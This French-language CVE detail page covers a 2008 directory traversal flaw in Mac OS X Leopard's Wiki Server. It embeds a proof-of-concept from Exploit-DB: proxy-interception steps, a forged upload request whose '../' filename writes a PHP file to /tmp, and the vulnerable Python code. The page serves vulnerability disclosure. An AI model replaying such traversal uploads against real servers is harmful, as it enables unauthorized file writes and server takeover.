CVE-2008-1000 : Détail

CVE-2008-1000

Directory Traversal
A01-Broken Access Control
3.22%V4
Network
2008-03-18
22h00 +00:00
2018-10-15
18h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Directory traversal vulnerability in ContentServer.py in the Wiki Server in Apple Mac OS X 10.5.2 (aka Leopard) allows remote authenticated users to write arbitrary files via ".." sequences in file attachments.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 31412

Date de publication : 2008-03-16 23h00 +00:00
Auteur : Rodrigo Carvalho
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/28278/info Apple Mac OS X Server Wiki Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data. Exploiting this issue allows an attacker to access arbitrary files outside of the application's document root directory. This can expose sensitive information that could help the attacker launch further attacks. Note that attackers must be registered wiki users to exploit this issue. Wiki Server from Mac OS X Server 10.5 is vulnerable. Next, we show a Proof of Concept (PoC) attack to the Leopard's Wiki Server. It creates a file 'popote.php' at '/tmp/[xxxxx]/' where '[xxxxx]' are random hexa characters assigned to the file, as we have said. You can write on all the folders where user '_teamsserver', the user running the Wiki Server, has permissions. For example, to reproduce the attack using Paros proxy [3], follow these steps: - Check the web server is up. - Check you have a system user/password in the system, for example guest, and the log in. - Start editing a new post in your blog. - Start Paros proxy, go to Trap tab and enable Trap requests checkbox. - Start uploading your preferred file, for example popote.php. - In Paros, press Continue until you find the POST request. - Append '../../../../../../..' at the beginning of 'popote.php' plus your wished path, for example '/tmp/'. - Press Continue a couple of times to send the request. - If user '_teamsserver' has permissions on the wished folder, you will write file 'popote.php' inside subfolder '[xxxxx]', where [xxxxx] are hash/random hexa characters that depend on the file. There are several strategies that can be used in combination with a path traversal to gain complete control of the victim's server, although we will not discuss them here. An example forged request follows: /----------- POST http://192.168.xxx.xxx/users/guest/weblog/3f081/attachments HTTP/1.0 User-Agent: Opera/9.24 (Macintosh; Intel Mac OS X; U; en) Paros/3.2.13 Host: 192.168.xxx.xxx Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: en,ja;q=0.9,fr;q=0.8,de;q=0.7,es;q=0.6,it;q=0.5,nl;q=0.4,sv;q=0.3,nb;q=0.2,da;q=0.1,fi;q=0.1,pt;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1,ru;q=0.1,en;q=0.1 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: identity, *;q=0 Referer: http://192.168.xxx.xxx/users/guest/weblog/3f081/ Cookie: cookies=1; acl_cache=3; recentTags=add tags here; SQMSESSID=fe79c978b66bf3bf6d0c433abd6008a6; sessionID=75706E3C-FA5A-4535-85EA-0D69812D21D3; utcOffset=-3; uploadID=57904 Cookie2: $Version=1 Proxy-Connection: close Content-length: 426 Content-Type: multipart/form-data; boundary=----------YN7xkbcuNgNx21psG30p21 ------------YN7xkbcuNgNx21psG30p21 Content-Disposition: form-data; name="Attachment"; filename="../../../../../../../tmp/popote.php" Content-Type: application/octet-stream <? phphinfo(); ?> ------------YN7xkbcuNgNx21psG30p21 Content-Disposition: form-data; name="ok_button" Attach ------------YN7xkbcuNgNx21psG30p21 Content-Disposition: form-data; name="upload_id" 57904 ------------YN7xkbcuNgNx21psG30p21-- -----------/ The vulnerable code is located at '/usr/share/wikid/lib/python/apple_wlt/ContentServer.py': /----------- def uploadFileCallback(self, result): filename, filetype, aFile = result[1][self.type][0] filename = filename.decode('utf-8') filename = filename.split('\\')[-1] # IE sends the whole path, including your local username. extension = filename.split('.')[-1] oldFilename = filename uploadType = os.path.split(self.fullpath)[-1] if uploadType == "images": filename = SettingsManager.findGoodName() + '.' + extension logging.debug("beginning file upload: %s" % filename) isImage = filenameIsImage(filename) newPath = ImageUtilities.findUniqueFileName(os.path.join(self.fullpath, filename), isImage = (not uploadType == 'attachments')) newFilename = os.path.basename(newPath) if uploadType == "attachments": newParentFolder = os.path.dirname(newPath) os.mkdir(newParentFolder) newFilename = os.path.join(os.path.basename(newParentFolder), filename) [...] -----------/ The hash/random hexa characters used for the attachment subfolder are generated by code at '/usr/share/wikid/lib/python/apple_utilities/ImageUtilities.py': /----------- def findUniqueFileName(inPath, isImage = True): """Uniqueifies a file name, to avoid duplicates in images and attachments""" filename = os.path.basename(inPath) base, extension = os.path.splitext(filename) parent = os.path.dirname(inPath) aPath = '' mungedName = SettingsManager.findGoodName() if not isImage: #attachment, so make the minged name a subdirectory and put the file in that aPath = os.path.join(parent, mungedName, filename) while os.path.exists(aPath): mungedName = SettingsManager.findGoodName(mungedName) aPath = os.path.join(parent, mungedName, filename) else: aPath = os.path.join(parent, mungedName + extension) while os.path.exists(aPath): mungedName = SettingsManager.findGoodName(mungedName) aPath = os.path.join(parent, mungedName + extension) return aPath -----------/

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.5.2

Apple>>Mac_os_x_server >> Version 10.5.2

Références

http://www.securitytracker.com/id?1019660
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/29420
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/28278
Tags : vdb-entry, x_refsource_BID